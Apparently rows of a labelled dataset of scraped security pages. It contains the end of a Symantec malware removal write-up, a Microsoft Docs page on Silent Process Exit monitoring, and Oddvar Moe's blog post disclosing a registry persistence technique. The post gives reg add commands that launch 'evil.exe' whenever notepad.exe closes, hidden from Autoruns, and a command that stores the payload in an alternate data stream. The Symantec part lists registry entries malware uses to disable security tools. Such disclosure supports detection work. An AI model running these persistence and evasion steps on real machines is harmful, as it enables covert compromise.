HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\CCenter.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ccSvcHst.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\FileDsty.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\FTCleanerShell.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\HijackThis.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Iparmor.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\isPwdSvc.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\kabaload.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KaScrScn.SCR\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KASMain.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KASTask.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KAVDX.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KAVPFW.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KAVSetup.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KAVStart.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KISLnchr.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KMailMon.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KMFilter.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KPFW32.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KPFW32X.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KPFWSvc.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KRegEx.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KRepair.com\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KsLoader.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KVCenter.kxp\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KvDetect.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KvfwMcl.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KVMonXP.kxp\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KVMonXP_1.kxp\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\kvol.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\kvolself.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KvReport.kxp\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KVScan.kxp\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KVSrvXP.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KVStub.kxp\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\kvupload.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\kvwsc.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KvXP.kxp\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KvXP_1.kxp\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KWatch.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KWatch9x.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KWatchX.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\MagicSet.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mcconsol.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mmqczj.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\KAV32.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\nod32krn.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\PFWLiveUpdate.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\QHSET.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\RavMonD.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\RavStub.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\RegClean.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\rfwcfg.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\RfwMain.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\rfwsrv.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\RsAgent.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Rsaupd.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\safelive.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\scan32.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\shcfg32.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\SmartUp.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\SREng.EXE\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\symlcsvc.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\SysSafe.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\TrojanDetector.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Trojanwall.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\TrojDie.kxp\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\UIHost.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\UmxAgent.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\UmxAttachment.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\UmxCfg.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\UmxFwHlp.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\UmxPol.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\UpLive.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\procexp.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\rfwstub.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\RegTool.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\rfwProxy.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\RawCopy.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\CCenter.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\filemon.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\regmon.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\AntiArp.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\GFUpd.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\GFRing3.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\taskmgr.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\QQDoctorMain.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\SelfUpdate.exe\\""Debugger"" = ""ntsd -d"" HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Your Image File Name Here without a path\\""Debugger"" = ""ntsd -d"" Exit the Registry Editor. Note: If the risk creates or modifies registry subkeys or entries under HKEY_CURRENT_USER, it is possible that it created them for every user on the compromised computer. To ensure that all registry subkeys or entries are removed or restored, log on using each user account and check for any HKEY_CURRENT_USER items listed above. 5. To extract and restore Windows files The following documents provide general instructions on how to extract files. This information is provided for your convenience. The exact steps may vary slightly depending on the configuration of your operation system, the location of the files, and so on. For additional information, read the Help files, contact Microsoft, or refer to the following Windows documentation: The Microsoft Knowledge Base article: How to Extract Original Compressed Windows Files, Article ID Q129605, has detailed information for Windows 95/98/Me. How to extract files in Windows 98 and Windows Me. How to extract files using Windows 2000 or Windows NT 4.0. How to restore system files in Windows XP. Writeup By: Masaki Suenaga Information for Enterprise Business Partners Consumer (Norton) Our Offerings Products Products A-Z Services Solutions Buying Programs Connect with us Support Connect Communities Security Center Find a Partner Events Webcasts Contact Us About Symantec Blogs Customer Success Center Industry Accolades Newsroom Analyst Relations Careers Investor Relations Corporate Responsibility Privacy \xc3\xa2\xe2\x82\xac\xe2\x80\x9c GDPR Customer Assurance Portal Symantec Ventures CustomerOne Acquisitions Fireglass ID Analytics LifeLock Luminate Skycure \xc2\xa9 1995\xe2\x80\x932019 Symantec Corporation About Symantec Careers News Sitemap Legal Privacy Cookies Contact Us \xc3\xa2\xc5\x93\xe2\x80\xa2","0","0","0","1","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Monitoring Silent Process Exit - Windows drivers | Microsoft Docs Skip to main content Contents Exit focus mode Feedback Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Monitoring Silent Process Exit 11/28/2017 5 minutes to read In this article Beginning with Windows\xc2 7, you can use the Silent Process Exit tab in GFlags to enter the name of a process that you want to monitor for silent exit. In the context of this monitoring feature, we use the term silent exit to mean that the monitored process terminates in one of the following ways. Self termination The monitored process terminates itself by calling ExitProcess. Cross-process termination A second process terminates the monitored process by calling TerminateProcess. The monitoring feature does not detect normal process termination that happens when the last thread of the process exits. The monitoring feature does not detect process termination that is initiated by kernel-mode code. To register a process for silent exit monitoring, open the Silent Process Exit tab in GFlags. Enter the process name as the Image and press the Tab key. Check the Enable Silent Process Exit Monitoring box, and click Apply. This sets the FLG_MONITOR_SILENT_PROCESS_EXIT flag in the following registry entry. HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ProcessName\\GlobalFlag For more information about this flag, see Enable silent process exit monitoring. For more information about using the Silent Process Exit tab in GFlags, see Configuring Silent Process Exit Monitoring. In the Silent Process Exit tab of GFlags, you can configure the actions that will take place when a monitored process exits silently. You can configure notification, event logging, and creation of dump files. You can specify a process that will be launched when silent exit is detected, and you can specify a list of modules that the monitor will ignore. Several of these settings are available both globally and for individual applications. Global settings apply to all processes that you register for silent exit monitoring. Application settings apply to an individual process and override global settings. Global settings are stored in the registry under the following key. HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit Application settings are stored in the registry under the following key. HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\ProcessName Reporting Mode The Reporting Mode setting is available as an application setting, but not as a global setting. You can use the following check boxes to set the reporting mode. Launch monitor process Enable dump collection Enable notification The ReportingMode registry entry is a bitwise OR of the following flags. Flag Value Meaning LAUNCH_MONITORPROCESS 0x1 When silent exit is detected, the monitor process (specified in the Monitor Process box) is launched. LOCAL_DUMP 0x2 When silent exit is detected, a dump file is created for the monitored process. In the case of cross-process termination, a dump file is also created for the process that caused the termination. NOTIFICATION 0x4 When silent exit is detected, a pop-up notification is displayed. Ignore Self Exits The Ignore Self Exits setting is available as an application setting, but not as a global setting. You can use the Ignore Self Exits check box to specify whether self exits are ignored. The IgnoreSelfExits registry entry has one of the following values. Value Meaning 0x0 Detect and respond to both self termination and cross-process termination. 0x1 Ignore self termination. Detect and respond to cross-process termination. Monitor Process You can specify a monitor process by entering a process name, along with command line parameters, in the Monitor Process text box. You can use the following variables in your command line. Varaible Meaning %e ID of the exiting process. This is the monitored process that exited silently. %i ID of the initiating process. In the case of self termination, this is the same as the exiting process. In the case of cross-process termination, this is the ID of the process that caused the termination. %t ID of the initiating thread. This is the thread that caused the termination. %c The status code passed to ExitThread or TerminateThread . For example, the following value for Monitor Process specifies that on silent exit, WinDbg is launched and attached to the exiting process. windbg -p %e The Monitor Process command line is stored in the MonitorProcess registry entry. Dump Folder Location You can use the Dump folder location text box to specify a location for the dump files that are written when a silent exit is detected. The string that you enter for Dump folder location is stored in the LocalDumpFolder registry entry. If you do not specify a dump folder location, dump files are written to the default location, which is %TEMP%\\Silent Process Exit. Dump Folder Size You can use the Dump folder size text box to specify the maximum number of dump files that can be written to the dump folder. Enter this value as a decimal integer. The value that you enter for Dump folder size is stored in the MaximumNumberOfDumpFiles registry entry. By default, there is no limit to the number of dump files that can be written. Dump Type You can use the Dump Type drop-down list to specify the type of dump file (Micro, Mini, Heap, or Custom) that is written when a silent exit is detected. The dump type is stored in the DumpType registry entry, which is a bitwise OR of the members of the MINIDUMP_TYPE enumeration. This enumeration is defined in dbghelp.h, which is included in the Debugging Tools for Windows package. For example, suppose you chose a dump type of Micro, and you see that the DumpType registry entry has a value of 0x88. The value 0x88 is a bitwise OR of the following two MINIDUMP_TYPE enumeration values. MiniDumpFilterModulePaths 0x00000080 MiniDumpFilterMemory 0x00000008 If you choose a dump type of Custom, enter your own bitwise OR of MINIDUMP_TYPE enumeration values in the Custom Dump Type box. Enter this value as a decimal integer. Module Ignore List You can use the Module Ignore List box to specify a list of modules that will be ignored when a silent exit is detected. If the monitored process is terminated by one of the modules in this list, the silent exit is ignored. The list of modules that you enter in the Module Ignore List box is stored in the ModuleIgnoreList registry entry. Reading Process Exit Reports in Event Viewer When a monitored process exits silently, the monitor creates an entry in Event Viewer. To open Event Viewer, enter the command eventvwr.msc. Navigate to Windows Logs > Application. Look for log entries that have a Source of Process Exit Monitor. Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Feedback Send feedback about This product This page You may also leave feedback directly on GitHub . This page You may also leave feedback directly on GitHub . Liquid error: Can't find the localized string giveDocumentationFeedback for template Conceptual. Issue Title Leave a comment Submit feedback Loading feedback... There are no open issues There are no closed issues View on GitHub Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","1","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Persistence using GlobalFlags in Image File Execution Options \xe2\x80\x93 Hidden from Autoruns.exe \xe2\x80\x93 Oddvar Moe's Blog Skip to content Menu Home About Presentations Articles AppLocker Case study AppLocker \xe2\x80\x93 Case study \xe2\x80\x93 Part 1 AppLocker \xe2\x80\x93 Case study \xe2\x80\x93 Part 2 AppLocker \xe2\x80\x93 Hardening \xe2\x80\x93 Part 1 AppLocker \xe2\x80\x93 Hardening \xe2\x80\x93 Part 2 AppLocker for admins \xe2\x80\x93 Does it work? Bypassing AppLocker as an admin AppLocker \xe2\x80\x93 Making sure that local rules are removed Real whitelisting attempt using AppLocker Ultimate AppLocker Bypass List Oddvar Moe's Blog Notes from My adventures with Windows security Persistence using GlobalFlags in Image File Execution Options \xe2\x80\x93 Hidden from\xc2 Autoruns.exe Posted on 10 Apr 201811 Apr 2018 by Oddvar Moe [MVP] TL;DR \xe2\x80\x93 Found a technique to execute any binary file after another application is closed without being detected by Autoruns.exe. \xe2\x80\x93 Requires administrator rights and does not belong in userland. \xe2\x80\x93 Can also be executed from alternate data streams \xe2\x80\x93 Plant file on disk and run these commands to create persistence that triggers everytime someone closes notepad.exe: reg add ""HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe"" /v GlobalFlag /t REG_DWORD /d 512 reg add ""HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe"" /v ReportingMode /t REG_DWORD /d 1 reg add ""HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe"" /v MonitorProcess /d ""C:\\temp\\evil.exe"" \xc2 \xc2 Image File Execution Options Another day with some unstructered research time. I must admit that it feels good every time. \xf0\x9f\x99\x82 Last time I found a way to execute DLL files and still hide from Autoruns.exe.\xc2 This time I found some interesting stuff, that I have not found that much related information on and hopefully it will help people detect someone if they are using this technique. This adventure started out when I was looking for other ways to execute data from alternate streams. Somehow I ended up in Process monitor (big surprise) and started looking at the Image File Execution Options. Normally I would just pass by these, since I always assume that someone has probably already discovered all there is to discover. Again it turns out that assumptions is the mother of all fu**ups. I started by Googling for information about the Image File Execution Options and especially the\xc2 ApplicationGoo setting and I ended up here:\xc2 https://blogs.msdn.microsoft.com/junfeng/2004/04/28/image-file-execution-options/ This blogpost also mentioned GlobalFlags and that cought my eye. After I was done Googling and searching for ApplicationGoo and what it did, I stumbled upon this and it turned out that you can add the ApplicationGoo in a special way to fake what operating system you are running to a process. I am not done researching the ApplicationGoo, so feel free to go on your own adventure. \xf0\x9f\x98\x89 I returned to read some more details about the GlobalFlags, since that was more interesting. The MSDN blog stated the following (Thanks Microsoft): If you play with gflags.exe more, you will found more interesting registry values under Image File Execution Options. A quick search for gflags.exe and I found that this is a part of the Windows 10 SDK, and this binary was already present on my machine. I fired up the application and it looks like this: This application can be used to change all the flags related to the execution of a binary. Here could also be more interesting stuff to dig into that I have not looked at yet. The first thing I tried was to check if this Application could work as a Device Guard bypass by leveraging the Launch command. This turned out to be negative. Based on my previous experience I already knew what the debugger flag does so I did not care about that. What I however found out was that under the \xe2\x80\x9cSilent Process Exit\xe2\x80\x9d tab there was a lot of other interesting stuff to look at.\xc2 \xf0\x9f\x98\x88 As you can see, my evil plan here is to execute an evil binary every time notepad.exe is closed. After planting this I verified that it worked by running just a renamed version of bginfo.exe. The point here is not the payload I am running, more the technique. After I close notepad.exe evil.exe is spawned like this: So this was pretty awesome I thought. It also turns out that autoruns.exe does not detect this technique. (Sorry Mark, even more to do with autoruns.exe) \xc2 After a bit more reversing I also figured out that the registry keys that decides what to launch as a silent \xe2\x80\x9cmonitor\xe2\x80\x9d resides in \xe2\x80\x9cHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\\xe2\x80\x9d All that gflags.exe does is actually only write the registry keys necessary. To achieve the same with some simple commands you could simply run the following lines in cmd. reg add ""HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe"" /v GlobalFlag /t REG_DWORD /d 512 reg add ""HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe"" /v ReportingMode /t REG_DWORD /d 1 reg add ""HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe"" /v MonitorProcess /d ""C:\\temp\\evil.exe"" This is also pretty good documented at docs.microsoft.com. \xc2 \xc2 BONUS \xe2\x80\x93 Execute with Alternate data streams Also figured out that you can leverage alternate data streams as well. That means you can take the evil.exe and add it to for instance the tasks folder under C:\\windows\\ as an alternate stream. That can easily be done by changing the registry and using this command: type c:\\temp\\evil.exe > c:\\windows\\tasks:evil.exe \xc2 After I close notepad, it now looks like this: \xc2 I\xe2\x80\x99ve got asked by some people since my last post on why I disclose these things, and my attentions are pure. Many people fear that this is like giving away techniques to the bad guys, but I feel disclosing these things makes is possible to discover them in the wild and create good detection mechanisms and prevention. I have also seen a lot of discussions on Twitter lately about people not wanting to disclose their techniques since it makes their job more difficult (pentesters) and that makes me sad in some way even though I can understand and relate to the reasons. My reasons for sharing things I discover is to make things more secure for everyone and hopefully it will also inspire others to start their own research and disclose new and unknown stuff to the public.\xc2 Hope you enjoyed the post and as always, feedback is always welcome! \xc2 Share this: Twitter Facebook Like this: Like Loading... Related Tagged autoruns, persistence, research, security Post navigation Previous Post Persistence using RunOnceEx \xe2\x80\x93 Hidden from\xc2 Autoruns.exe Next Post Putting data in Alternate data streams and how to execute it \xe2\x80\x93 part\xc2 2 4 thoughts on \xe2\x80\x9cPersistence using GlobalFlags in Image File Execution Options \xe2\x80\x93 Hidden from\xc2 Autoruns.exe\xe2\x80\x9d Dan says: 11 Apr 2018 at 1:16 pm Interesting article. There is an additional method for persistence that I 